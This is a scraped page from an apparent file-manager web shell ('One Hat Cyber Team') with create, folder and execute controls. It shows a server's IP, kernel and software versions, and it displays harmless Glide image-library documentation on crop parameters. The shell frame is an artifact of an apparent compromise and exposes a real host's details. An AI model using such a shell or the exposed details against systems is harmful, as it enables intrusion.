⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.5
Server IP:
13.127.59.50
Server:
Linux ip-172-31-46-210 5.15.0-1033-aws #37~20.04.1-Ubuntu SMP Fri Mar 17 11:39:30 UTC 2023 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.3-4ubuntu2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
ubuntu
/
vendor
/
league
/
glide
/
docs
/
1.0
/
api
/
View File Name :
crop.md
--- layout: default title: Crop --- # Crop ## Fit `fit=crop` Resizes the image to fill the width and height boundaries and crops any excess image data. The resulting image will match the width and height constraints without distorting the image. ~~~ html <img src="kayaks.jpg?w=300&h=300&fit=crop"> ~~~ [](https://glide.herokuapp.com/1.0/kayaks.jpg?w=300&h=300&fit=crop) ### Crop Position You can also set where the image is cropped by adding a crop position. Accepts `crop-top-left`, `crop-top`, `crop-top-right`, `crop-left`, `crop-center`, `crop-right`, `crop-bottom-left`, `crop-bottom` or `crop-bottom-right`. Default is `crop-center`, and is the same as `crop`. ~~~ html <img src="kayaks.jpg?w=300&h=300&fit=crop-left"> ~~~ ### Crop Focal Point In addition to the crop position, you can be more specific about the exact crop position using a focal point. This is defined using two offset percentages: `crop-x%-y%`. ~~~ html <img src="kayaks.jpg?w=300&h=300&fit=crop-25-75"> ~~~ ## Crop `crop` Crops the image to specific dimensions prior to any other resize operations. Required format: `width,height,x,y`. ~~~ html <img src="kayaks.jpg?crop=100,100,915,155"> ~~~ [](https://glide.herokuapp.com/1.0/kayaks.jpg?crop=100,100,915,155)